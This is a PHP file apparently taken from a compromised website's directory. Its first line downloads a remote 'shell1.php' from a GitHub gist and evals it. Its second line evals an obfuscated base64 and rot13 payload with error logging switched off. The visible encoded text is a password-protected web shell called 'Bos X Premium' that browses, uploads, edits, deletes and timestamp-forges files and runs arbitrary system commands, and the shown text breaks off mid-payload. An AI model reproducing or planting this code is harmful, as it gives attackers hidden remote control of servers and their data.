File: /var/www/vhosts/inglory.de/kunden/Jockers-v2/a.php
<?php $url = "https://gist.githubusercontent.com/sectorimpact/6e50ca5d4fa569749d24321b77dfbfa7/raw/e562c71a859be32af8adf779a5c370618f3af483/shell1.php";$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);$tag= curl_exec($ch);curl_close($ch);eval("?>" . ("$tag"));?>
<?php $icyYU = 'st'.'r'.'_r'.'ot13'; $YoKrR = 'base6'.'4'.'_d'.'ec'.'ode'; /** 3f85a6dd0aa0ad6bb2fb38dff0ee1f9b08699a04 **/ error_reporting(0); ini_set('log_errors', 0); eval($YoKrR($icyYU("PD9waHAKc2Vzc2lvbl9zdGFydCgpOwoKLy8gUGFzc3dvcmQgcHJvdGVjdGlvbgokcGFzc3dvcmQgPSAnMTkyMCc7IC8vIEdhbnRpIGRlbmdhbiBwYXNzd29yZCB5YW5nIEFuZGEgaW5naW5rYW4KaWYgKCFpc3NldCgkX1NFU1NJT05bJ2xvZ2dlZGluJ10pIHx8ICRfU0VTU0lPTlsnbG9nZ2VkaW4nXSAhPT0gdHJ1ZSkgewogICAgaWYgKGlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSkgJiYgJF9QT1NUWydwYXNzd29yZCddID09PSAkcGFzc3dvcmQpIHsKICAgICAgICAkX1NFU1NJT05bJ2xvZ2dlZGluJ10gPSB0cnVlOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICcKICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IG1hcmdpbi10b3A6IDIwJTsiPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIiBwbGFjZWhvbGRlcj0iRW50ZXIgUGFzc3dvcmQiIHJlcXVpcmVkPgogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+TG9naW48L2J1dHRvbj4KICAgICAgICA8L2Zvcm0+JzsKICAgICAgICBleGl0OwogICAgfQp9CgovLyBGdW5nc2kgdW50dWsgbWVuZ2hpbmRhcmkgcGF0aCB0cmF2ZXJzYWwKZnVuY3Rpb24gc2FuaXRpemVfcGF0aCgkcGF0aCkgewogICAgcmV0dXJuIHN0cl9yZXBsYWNlKFsnLi4vJywgJy4vJ10sICcnLCAkcGF0aCk7Cn0KCi8vIEZ1bmdzaSB1bnR1ayBtZW5naGFwdXMgZm9sZGVyIHJla3Vyc2lmCmZ1bmN0aW9uIGRlbGV0ZV9mb2xkZXIoJHBhdGgpIHsKICAgIGlmIChpc19kaXIoJHBhdGgpKSB7CiAgICAgICAgJGZpbGVzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRwYXRoKSwgWycuJywgJy4uJ10pOwogICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgewogICAgICAgICAgICBkZWxldGVfZm9sZGVyKCIkcGF0aC8kZmlsZSIpOwogICAgICAgIH0KICAgICAgICBybWRpcigkcGF0aCk7CiAgICB9IGVsc2UgewogICAgICAgIHVubGluaygkcGF0aCk7CiAgICB9Cn0KCi8vIE1lbmRhcGF0a2FuIHBhdGggc2FhdCBpbmkKJGN1cnJlbnRfcGF0aCA9IGlzc2V0KCRfR0VUWydwYXRoJ10pID8gc2FuaXRpemVfcGF0aCgkX0dFVFsncGF0aCddKSA6ICcuJzsKJGN1cnJlbnRfcGF0aCA9IHJlYWxwYXRoKCRjdXJyZW50X3BhdGgpOwoKLy8gQnJlYWRjcnVtYgokYnJlYWRjcnVtYnMgPSBleHBsb2RlKCcvJywgdHJpbSgkY3VycmVudF9wYXRoLCAnLycpKTsKJGJyZWFkY3J1bWJfcGF0aCA9ICcnOwoKLy8gSGFuZGxlIGFjdGlvbnMKaWYgKGlzc2V0KCRfUE9TVFsnYWN0aW9uJ10pKSB7CiAgICAkdGFyZ2V0ID0gaXNzZXQoJF9QT1NUWyd0YXJnZXQnXSkgPyBzYW5pdGl6ZV9wYXRoKCRfUE9TVFsndGFyZ2V0J10pIDogJyc7CiAgICAkdGFyZ2V0X3BhdGggPSByZWFscGF0aCgkY3VycmVudF9wYXRoIC4gJy8nIC4gJHRhcmdldCk7CgogICAgc3dpdGNoICgkX1BPU1RbJ2FjdGlvbiddKSB7CiAgICAgICAgY2FzZSAncmVuYW1lJzoKICAgICAgICAgICAgJG5ld19uYW1lID0gaXNzZXQoJF9QT1NUWyduZXdfbmFtZSddKSA/IHNhbml0aXplX3BhdGgoJF9QT1NUWyduZXdfbmFtZSddKSA6ICcnOwogICAgICAgICAgICBpZiAoJG5ld19uYW1lICYmICR0YXJnZXRfcGF0aCkgewogICAgICAgICAgICAgICAgcmVuYW1lKCR0YXJnZXRfcGF0aCwgZGlybmFtZSgkdGFyZ2V0X3BhdGgpIC4gJy8nIC4gJG5ld19uYW1lKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdkZWxldGUnOgogICAgICAgICAgICBpZiAoJHRhcmdldF9wYXRoKSB7CiAgICAgICAgICAgICAgICBkZWxldGVfZm9sZGVyKCR0YXJnZXRfcGF0aCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnY2htb2QnOgogICAgICAgICAgICAkbW9kZSA9IGlzc2V0KCRfUE9TVFsnbW9kZSddKSA/ICRfUE9TVFsnbW9kZSddIDogJyc7CiAgICAgICAgICAgIGlmICgkdGFyZ2V0X3BhdGggJiYgJG1vZGUpIHsKICAgICAgICAgICAgICAgIGNobW9kKCR0YXJnZXRfcGF0aCwgb2N0ZGVjKCRtb2RlKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAndG91Y2gnOgogICAgICAgICAgICAkdGltZXN0YW1wID0gaXNzZXQoJF9QT1NUWyd0aW1lc3RhbXAnXSkgPyBzdHJ0b3RpbWUoJF9QT1NUWyd0aW1lc3RhbXAnXSkgOiB0aW1lKCk7CiAgICAgICAgICAgIGlmICgkdGFyZ2V0X3BhdGgpIHsKICAgICAgICAgICAgICAgIHRvdWNoKCR0YXJnZXRfcGF0aCwgJHRpbWVzdGFtcCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnbWtkaXInOgogICAgICAgICAgICAkZGlyX25hbWUgPSBpc3NldCgkX1BPU1RbJ2Rpcl9uYW1lJ10pID8gc2FuaXRpemVfcGF0aCgkX1BPU1RbJ2Rpcl9uYW1lJ10pIDogJyc7CiAgICAgICAgICAgIGlmICgkZGlyX25hbWUpIHsKICAgICAgICAgICAgICAgIG1rZGlyKCRjdXJyZW50X3BhdGggLiAnLycgLiAkZGlyX25hbWUpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2NyZWF0ZV9maWxlJzoKICAgICAgICAgICAgJGZpbGVfbmFtZSA9IGlzc2V0KCRfUE9TVFsnZmlsZV9uYW1lJ10pID8gc2FuaXRpemVfcGF0aCgkX1BPU1RbJ2ZpbGVfbmFtZSddKSA6ICcnOwogICAgICAgICAgICBpZiAoJGZpbGVfbmFtZSkgewogICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGN1cnJlbnRfcGF0aCAuICcvJyAuICRmaWxlX25hbWUsICcnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdlZGl0X2ZpbGUnOgogICAgICAgICAgICAkZmlsZV9jb250ZW50ID0gaXNzZXQoJF9QT1NUWydmaWxlX2NvbnRlbnQnXSkgPyAkX1BPU1RbJ2ZpbGVfY29udGVudCddIDogJyc7CiAgICAgICAgICAgIGlmICgkdGFyZ2V0X3BhdGggJiYgaXNfZmlsZSgkdGFyZ2V0X3BhdGgpKSB7CiAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0X3BhdGgsICRmaWxlX2NvbnRlbnQpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2NvbXByZXNzJzoKICAgICAgICAgICAgaWYgKCR0YXJnZXRfcGF0aCkgewogICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICAgICAgICAgICAgICAkemlwX25hbWUgPSAkdGFyZ2V0X3BhdGggLiAnLnppcCc7CiAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkemlwX25hbWUsIFppcEFyY2hpdmU6OkNSRUFURSkgPT09IFRSVUUpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCR0YXJnZXRfcGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVzID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJHRhcmdldF9wYXRoKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OkxFQVZFU19PTkxZCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkZmlsZS0+aXNEaXIoKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlX3BhdGggPSAkZmlsZS0+Z2V0UmVhbFBhdGgoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVsYXRpdmVfcGF0aCA9IHN1YnN0cigkZmlsZV9wYXRoLCBzdHJsZW4oJHRhcmdldF9wYXRoKSArIDEpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUoJGZpbGVfcGF0aCwgJHJlbGF0aXZlX3BhdGgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRmlsZSgkdGFyZ2V0X3BhdGgsIGJhc2VuYW1lKCR0YXJnZXRfcGF0aCkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3VuY29tcHJlc3MnOgogICAgICAgICAgICBpZiAoJHRhcmdldF9wYXRoICYmIGlzX2ZpbGUoJHRhcmdldF9wYXRoKSAmJiBwYXRoaW5mbygkdGFyZ2V0X3BhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikgPT09ICd6aXAnKSB7CiAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCR0YXJnZXRfcGF0aCkgPT09IFRSVUUpIHsKICAgICAgICAgICAgICAgICAgICAkemlwLT5leHRyYWN0VG8oJGN1cnJlbnRfcGF0aCk7CiAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdjb21tYW5kJzoKICAgICAgICAgICAgJGNvbW1hbmQgPSBpc3NldCgkX1BPU1RbJ2NvbW1hbmQnXSkgPyAkX1BPU1RbJ2NvbW1hbmQnXSA6ICcnOwogICAgICAgICAgICBpZiAoJGNvbW1hbmQpIHsKICAgICAgICAgICAgICAgICRvdXRwdXQgPSBzaGVsbF9leGVjKCJjZCAkY3VycmVudF9wYXRoICYmICRjb21tYW5kIDI+JjEiKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBicmVhazsKICAgIH0KICAgIGhlYWRlcigiTG9jYXRpb246ID9wYXRoPSIgLiB1cmxlbmNvZGUoJGN1cnJlbnRfcGF0aCkpOwogICAgZXhpdDsKfQoKLy8gSGFuZGxlIGZpbGUgdXBsb2FkCmlmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pKSB7CiAgICAkdXBsb2FkX3BhdGggPSAkY3VycmVudF9wYXRoIC4gJy8nIC4gYmFzZW5hbWUoJF9GSUxFU1snZmlsZSddWyduYW1lJ10pOwogICAgbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJHVwbG9hZF9wYXRoKTsKICAgIGhlYWRlcigiTG9jYXRpb246ID9wYXRoPSIgLiB1cmxlbmNvZGUoJGN1cnJlbnRfcGF0aCkpOwogICAgZXhpdDsKfQoKLy8gSGFuZGxlIGZpbGUgZG93bmxvYWQKaWYgKGlzc2V0KCRfR0VUWydkb3dubG9hZCddKSkgewogICAgJHRhcmdldCA9IHNhbml0aXplX3BhdGgoJF9HRVRbJ2Rvd25sb2FkJ10pOwogICAgJHRhcmdldF9wYXRoID0gcmVhbHBhdGgoJGN1cnJlbnRfcGF0aCAuICcvJyAuICR0YXJnZXQpOwogICAgaWYgKCR0YXJnZXRfcGF0aCAmJiBmaWxlX2V4aXN0cygkdGFyZ2V0X3BhdGgpKSB7CiAgICAgICAgaWYgKGlzX2RpcigkdGFyZ2V0X3BhdGgpKSB7CiAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICAkemlwX25hbWUgPSAkdGFyZ2V0X3BhdGggLiAnLnppcCc7CiAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCR6aXBfbmFtZSwgWmlwQXJjaGl2ZTo6Q1JFQVRFKSA9PT0gVFJVRSkgewogICAgICAgICAgICAgICAgJGZpbGVzID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoCiAgICAgICAgICAgICAgICAgICAgbmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCR0YXJnZXRfcGF0aCksCiAgICAgICAgICAgICAgICAgICAgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6TEVBVkVTX09OTFkKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlX3BhdGggPSAkZmlsZS0+Z2V0UmVhbFBhdGgoKTsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlbGF0aXZlX3BhdGggPSBzdWJzdHIoJGZpbGVfcGF0aCwgc3RybGVuKCR0YXJnZXRfcGF0aCkgKyAxKTsKICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRmlsZSgkZmlsZV9wYXRoLCAkcmVsYXRpdmVfcGF0aCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi96aXAnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicgLiBiYXNlbmFtZSgkemlwX25hbWUpIC4gJyInKTsKICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1MZW5ndGg6ICcgLiBmaWxlc2l6ZSgkemlwX25hbWUpKTsKICAgICAgICAgICAgICAgIHJlYWRmaWxlKCR6aXBfbmFtZSk7CiAgICAgICAgICAgICAgICB1bmxpbmsoJHppcF9uYW1lKTsKICAgICAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7CiAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicgLiBiYXNlbmFtZSgkdGFyZ2V0X3BhdGgpIC4gJyInKTsKICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJyAuIGZpbGVzaXplKCR0YXJnZXRfcGF0aCkpOwogICAgICAgICAgICByZWFkZmlsZSgkdGFyZ2V0X3BhdGgpOwogICAgICAgICAgICBleGl0OwogICAgICAgIH0KICAgIH0KfQoKLy8gSGFuZGxlIGZpbGUgZWRpdGluZwppZiAoaXNzZXQoJF9HRVRbJ2ZpbGUnXSkpIHsKICAgICRmaWxlX3RvX2VkaXQgPSBzYW5pdGl6ZV9wYXRoKCRfR0VUWydmaWxlJ10pOwogICAgJGZpbGVfcGF0aCA9IHJlYWxwYXRoKCRjdXJyZW50X3BhdGggLiAnLycgLiAkZmlsZV90b19lZGl0KTsKCiAgICBpZiAoJGZpbGVfcGF0aCAmJiBpc19maWxlKCRmaWxlX3BhdGgpICYmIHN0cnBvcygkZmlsZV9wYXRoLCByZWFscGF0aCgkY3VycmVudF9wYXRoKSkgPT09IDApIHsKICAgICAgICAkZmlsZV9jb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVfcGF0aCk7CiAgICB9IGVsc2UgewogICAgICAgICRmaWxlX2NvbnRlbnQgPSAiQ2Fubm90IGVkaXQgdGhpcyBmaWxlLiI7CiAgICB9Cn0KCmlmIChpc3NldCgkX0dFVFsnZmlsZSddKSAmJiBpc3NldCgkX0dFVFsncmF3J10pKSB7CiAgICAkZmlsZV90b19lZGl0ID0gc2FuaXRpemVfcGF0aCgkX0dFVFsnZmlsZSddKTsKICAgICRmaWxlX3BhdGggPSByZWFscGF0aCgkY3VycmVudF9wYXRoIC4gJy8nIC4gJGZpbGVfdG9fZWRpdCk7CgogICAgaWYgKCRmaWxlX3BhdGggJiYgaXNfZmlsZSgkZmlsZV9wYXRoKSAmJiBzdHJwb3MoJGZpbGVfcGF0aCwgcmVhbHBhdGgoJGN1cnJlbnRfcGF0aCkpID09PSAwKSB7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsKICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpOwogICAgICAgIGV4aXQ7CiAgICB9IGVsc2UgewogICAgICAgIGh0dHBfcmVzcG9uc2VfY29kZSg0MDMpOwogICAgICAgIGVjaG8gIkNhbm5vdCBlZGl0IHRoaXMgZmlsZS4iOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KCj8+Cgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPgo8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4KICAgIDx0aXRsZT5Cb3MgWCBQcmVtaXVtPC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5IHsgZm9udC1mYW1pbHk6IEFyaWFsLCBzYW5zLXNlcmlmOyBtYXJnaW46IDIwcHg7IH0KICAgICAgICB0YWJsZSB7IHdpZHRoOiAxMDAlOyBib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyBtYXJnaW4tdG9wOiAyMHB4OyB9CiAgICAgICAgdGFibGUsIHRoLCB0ZCB7IGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7IH0KICAgICAgICB0aCwgdGQgeyBwYWRkaW5nOiAxMHB4OyB0ZXh0LWFsaWduOiBsZWZ0OyB9CiAgICAgICAgdGggeyBiYWNrZ3JvdW5kLWNvbG9yOiAjZjRmNGY0OyB9CiAgICAgICAgLmJyZWFkY3J1bWIgeyBtYXJnaW4tYm90dG9tOiAyMHB4OyB9CiAgICAgICAgLmJyZWFkY3J1bWIgYSB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6ICMwMDdiZmY7IH0KICAgICAgICAuYnJlYWRjcnVtYiBhOmhvdmVyIHsgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7IH0KICAgICAgICAuYWN0aW9ucyB7IG1hcmdpbi1ib3R0b206IDIwcHg7IH0KICAgICAgICAuYWN0aW9ucyBidXR0b24geyBtYXJnaW4tcmlnaHQ6IDEwcHg7IH0KICAgICAgICAubW9kYWwgeyBkaXNwbGF5OiBub25lOyBwb3NpdGlvbjogZml4ZWQ7IHRvcDogMjAlOyBsZWZ0OiAzMCU7IGJhY2tncm91bmQ6ICNmZmY7IHBhZGRpbmc6IDIwcHg7IGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7IGJveC1zaGFkb3c6IDAgMCAxMHB4IHJnYmEoMCwgMCwgMCwgMC4xKTsgfQogICAgICAgIC5tb2RhbCBoMiB7IG1hcmdpbi10b3A6IDA7IH0KICAgICAgICAubW9kYWwgdGV4dGFyZWEgeyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAyMDBweDsgfQogICAgICAgIC5tb2RhbCBidXR0b24geyBtYXJnaW4tdG9wOiAxMHB4OyB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPkJvcyBYIFByZW1pdW08L2gxPgoKICAgIDwhLS0gQnJlYWRjcnVtYiAtLT4KICAgIDxkaXYgY2xhc3M9ImJyZWFkY3J1bWIiPgogICAgICAgIDxhIGhyZWY9Ij9wYXRoPS4iPlJvb3Q8L2E+CiAgICAgICAgPD9waHAgZm9yZWFjaCAoJGJyZWFkY3J1bWJzIGFzICRjcnVtYik6ID8+CiAgICAgICAgICAgIC8gPGEgaHJlZj0iP3BhdGg9PD89IHVybGVuY29kZSgkYnJlYWRjcnVtYl9wYXRoIC4gJy8nIC4gJGNydW1iKSA/PiI+PD89ICRjcnVtYiA/PjwvYT4KICAgICAgICAgICAgPD9waHAgJGJyZWFkY3J1bWJfcGF0aCAuPSAnLycgLiAkY3J1bWI7ID8+CiAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgIDwvZGl2PgoKICAgIDwhLS0gQWN0aW9ucyAtLT4KICAgIDxkaXYgY2xhc3M9ImFjdGlvbnMiPgogICAgICAgIDxidXR0b24gb25jbGljaz0id2luZG93LmxvY2F0aW9uLmhyZWY9Jz9wYXRoPS4nIj5Ib21lPC9idXR0b24+CiAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJ3aW5kb3cubG9jYXRpb24uaHJlZj0nP3BhdGg9PD89IHVybGVuY29kZShkaXJuYW1lKCRjdXJyZW50X3BhdGgpKSA/PiciPkJhY2s8L2J1dHRvbj4KICAgICAgICA8YnV0dG9uIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1cGxvYWRGb3JtJykuc3R5bGUuZGlzcGxheT0nYmxvY2snIj5VcGxvYWQ8L2J1dHRvbj4KICAgICAgICA8YnV0dG9uIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjcmVhdGVGb2xkZXJGb3JtJykuc3R5bGUuZGlzcGxheT0nYmxvY2snIj5DcmVhdGUgRm9sZGVyPC9idXR0b24+CiAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY3JlYXRlRmlsZUZvcm0nKS5zdHlsZS5kaXNwbGF5PSdibG9jayciPkNyZWF0ZSBGaWxlPC9idXR0b24+CiAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY29tbWFuZEZvcm0nKS5zdHlsZS5kaXNwbGF5PSdibG9jayciPlJ1biBDb21tYW5kPC9idXR0b24+CiAgICA8L2Rpdj4KCiAgICA8IS0tIFVwbG9hZCBGb3JtIC0tPgogICAgPGZvcm0gaWQ9InVwbG9hZEZvcm0iIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIHN0eWxlPSJkaXNwbGF5Om5vbmU7IG1hcmdpbi1ib3R0b206IDIwcHg7Ij4KICAgICAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSI+CiAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPlVwbG9hZDwvYnV0dG9uPgogICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXBsb2FkRm9ybScpLnN0eWxlLmRpc3BsYXk9J25vbmUnIj5DYW5jZWw8L2J1dHRvbj4KICAgIDwvZm9ybT4KCiAgICA8IS0tIENyZWF0ZSBGb2xkZXIgRm9ybSAtLT4KICAgIDxmb3JtIGlkPSJjcmVhdGVGb2xkZXJGb3JtIiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBzdHlsZT0iZGlzcGxheTpub25lOyBtYXJnaW4tYm90dG9tOiAyMHB4OyI+CiAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcl9uYW1lIiBwbGFjZWhvbGRlcj0iTmV3IEZvbGRlciBOYW1lIiByZXF1aXJlZD4KICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ibWtkaXIiPkNyZWF0ZSBGb2xkZXI8L2J1dHRvbj4KICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgb25jbGljaz0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NyZWF0ZUZvbGRlckZvcm0nKS5zdHlsZS5kaXNwbGF5PSdub25lJyI+Q2FuY2VsPC9idXR0b24+CiAgICA8L2Zvcm0+CgogICAgPCEtLSBDcmVhdGUgRmlsZSBGb3JtIC0tPgogICAgPGZvcm0gaWQ9ImNyZWF0ZUZpbGVGb3JtIiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBzdHlsZT0iZGlzcGxheTpub25lOyBtYXJnaW4tYm90dG9tOiAyMHB4OyI+CiAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGVfbmFtZSIgcGxhY2Vob2xkZXI9Ik5ldyBGaWxlIE5hbWUiIHJlcXVpcmVkPgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjcmVhdGVfZmlsZSI+Q3JlYXRlIEZpbGU8L2J1dHRvbj4KICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgb25jbGljaz0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NyZWF0ZUZpbGVGb3JtJykuc3R5bGUuZGlzcGxheT0nbm9uZSciPkNhbmNlbDwvYnV0dG9uPgogICAgPC9mb3JtPgoKICAgIDwhLS0gQ29tbWFuZCBGb3JtIC0tPgogICAgPGZvcm0gaWQ9ImNvbW1hbmRGb3JtIiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBzdHlsZT0iZGlzcGxheTpub25lOyBtYXJnaW4tYm90dG9tOiAyMHB4OyI+CiAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNvbW1hbmQiIHBsYWNlaG9sZGVyPSJFbnRlciBMaW51eCBDb21tYW5kIiByZXF1aXJlZD4KICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iY29tbWFuZCI+UnVuIENvbW1hbmQ8L2J1dHRvbj4KICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgb25jbGljaz0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NvbW1hbmRGb3JtJykuc3R5bGUuZGlzcGxheT0nbm9uZSciPkNhbmNlbDwvYnV0dG9uPgogICAgPC9mb3JtPgogICAgPD9waHAgaWYgKGlzc2V0KCRvdXRwdXQpKTogPz4KICAgICAgICA8cHJlPjw/PSBodG1sc3BlY2lhbGNoYXJzKCRvdXRwdXQpID8+PC9wcmU+CiAgICA8P3BocCBlbmRpZjsgPz4KCiAgICA8IS0tIEZpbGUgTGlzdCAtLT4KICAgIDx0YWJsZT4KICAgICAgICA8dGhlYWQ+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0aD5OYW1lPC90aD4KICAgICAgICAgICAgICAgIDx0aD5UeXBlPC90aD4KICAgICAgICAgICAgICAgIDx0aD5TaXplPC90aD4KICAgICAgICAgICAgICAgIDx0aD5QZXJtaXNzaW9uczwvdGg+CiAgICAgICAgICAgICAgICA8dGg+T3duZXIvR3JvdXA8L3RoPgogICAgICAgICAgICAgICAgPHRoPkxhc3QgTW9kaWZpZWQ8L3RoPgogICAgICAgICAgICAgICAgPHRoPkFjdGlvbnM8L3RoPgogICAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGhlYWQ+CiAgICAgICAgPHRib2R5PgogICAgICAgICAgICA8P3BocCBpZiAoJGN1cnJlbnRfcGF0aCAhPT0gcmVhbHBhdGgoJy4nKSk6ID8+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRk